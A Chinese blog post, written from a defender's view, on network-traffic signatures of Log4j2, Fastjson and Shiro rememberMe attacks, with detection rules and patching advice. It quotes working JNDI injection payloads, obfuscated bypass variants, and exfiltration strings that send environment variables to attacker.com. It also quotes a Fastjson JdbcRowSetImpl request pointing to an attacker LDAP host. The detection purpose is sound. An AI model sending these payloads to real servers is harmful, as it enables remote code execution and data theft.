【HW系列】—Log4j2、Fastjson、Shiro漏洞流量特征深度剖析与实战检测
1. Log4j2漏洞流量特征与实战检测第一次在实战中遇到Log4j2漏洞时我被它简单的触发方式和强大的破坏力震惊了。这个漏洞最可怕的地方在于攻击者只需要往日志里插入一段特殊字符串就能让服务器乖乖执行任意命令。下面我就结合自己踩过的坑详细说说怎么从流量层面抓住这个幽灵。1.1 基础请求特征JNDI注入的千层套路最明显的特征当然是${jndi:ldap://xxx}这种经典payload。但实战中攻击者早就玩出花了我整理了几种常见变形大小写变形${${lower:j}ndi:ldap://xxx} 这种用lower/upper函数嵌套的变种专门对付只会简单匹配jndi的检测规则特殊符号分割${::-j}ndi:这种用符号分割的写法去年HW行动中就出现过多重编码%24%7Bjndi%3Aldap%3A%2F%2Fxxx 这种URL编码后的payload能绕过不少WAF有个真实案例某次攻防演练中攻击者把payload藏在User-Agent里User-Agent: Mozilla/5.0 ${jndi:dns://${env:USER}.attacker.com/log}这种还会把环境变量外带的操作特别阴险。1.2 网络交互特征三层攻击链的蛛丝马迹完整的攻击通常分三个阶段每个阶段都有独特流量特征漏洞触发阶段HTTP请求中出现JNDI注入外联阶段服务器向LDAP/RMI服务发起连接常见1389/1099端口攻击阶段下载恶意class文件或建立反向shell我常用的检测方法是抓包看异常外联。比如突然出现内网服务器向外部陌生IP的1389端口发起连接十有八九是中招了。去年某次应急响应中就是靠发现服务器在疯狂解析dnslog.cn的域名锁定攻击的。1.3 高级绕过技术攻击者的七十二变最近遇到的几个高级绕过手法环境变量嵌套${${env:PROTO}:-jndi}:ldap://xxx 这种写法会根据环境变量动态变化多协议组合先用ldap触发漏洞再用http下载恶意类完美规避只监控jndi的规则DNS外带${jndi:dns://${sys:java.version}.attacker.com} 这种不直接攻击先探测环境2. Fastjson漏洞流量特征解析第一次分析Fastjson漏洞流量时我被它各种奇怪的JSON结构搞晕了。这玩意就像个JSON变形金刚攻击者能把恶意代码藏在看似正常的JSON里。2.1 请求特征危险的type字段Fastjson漏洞的核心在于type字段的滥用。常见特征包括POST /api HTTP/1.1 Content-Type: application/json { type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://attacker.com/exp, autoCommit:true }这种请求会触发JNDI注入。我见过最骚的操作是把type藏在JSON深层{ normalField:value, nested:{ type:恶意类名 } }2.2 响应特征错误信息里的密码Fastjson漏洞的响应很有特点400/500错误暴增因为恶意JSON结构会导致解析失败错误信息泄露经常能看到fastjson.JSONException堆栈DNS外带响应里出现dnslog.cn这类域名就是铁证有次排查问题时发现大量包含autoCommit关键字的500错误一查果然是Fastjson被攻击。2.3 攻击载荷进化史从最早的JdbcRowSetImpl到后来的TemplatesImpl攻击载荷越来越隐蔽JdbcRowSetImpl直接JNDI注入简单粗暴TemplatesImpl嵌入恶意字节码不需要外联BasicDataSource针对Tomcat环境的特化攻击最近还出现用$ref引用的新玩法payload能写得像绕口令一样复杂。3. Shiro漏洞流量特征深度分析Shiro的rememberMe反序列化漏洞是我见过最顽强的漏洞之一这么多年过去了还在各种攻防演练中出现。3.1 Cookie里的定时炸弹最明显的特征就是rememberMe这个CookieCookie: rememberMeAgAAAF...超长base64...; JSESSIONIDxxx正常用户不会带这个Cookie而攻击流量中它总是如影随形。有次分析日志时发现大量rememberMe1的试探请求就知道有人在爆破。3.2 响应中的蛛丝马迹Shiro的响应很有特点deleteMe字段解密失败时会返回Set-Cookie: rememberMedeleteMe延迟响应Padding Oracle攻击会导致响应时间固定延长内存马特征成功注入后rememberMe长度会暴增去年遇到个案例攻击者用rememberMe传了个5KB的payload解密后发现是个冰蝎内存马。3.3 密钥爆破的流量特征爆破密钥时会产生大量特征高频rememberMe请求1分钟上百次rememberMe值长度有规律变化伴随大量400/500响应有次防守方就是靠发现某个IP在疯狂请求/login接口每秒20次成功拦截了攻击。4. 复合攻击检测实战策略现在的攻击者越来越喜欢组合拳把多个漏洞串联利用。这就需要我们建立立体化检测体系。4.1 关联分析三板斧时间关联短时间内出现多个漏洞的试探请求行为关联先Log4j2探测再Shiro攻击IP关联同一IP发起不同类型攻击某次事件中攻击者先用Log4j2探测到目标用Shiro接着就发起rememberMe攻击这种关联很明显。4.2 检测规则优化技巧经过多次实战我总结了几条规则优化经验不要只检测关键字jndi、type这些太容易绕过了关注异常行为比如内网服务器突然外联LDAP结合上下文单个可疑请求可能是误报连续多个就是攻击建议用Suricata写复合规则比如alert http any any - any any ( msg:Possible Log4j2 attack; content:${; content:jndi:; distance:0; within:10; )4.3 防御加固实战建议根据这些年踩过的坑给出几条实用建议Log4j2升级到2.17.0移除JndiLookup类Fastjson启用safemode或者直接换JacksonShiro一定要改默认密钥建议生成32位随机密钥最后提醒下这些漏洞经常被组合利用防守时要建立全局视角。比如发现Log4j2攻击后要立即检查同一批服务器上的Shiro情况。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2414671.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!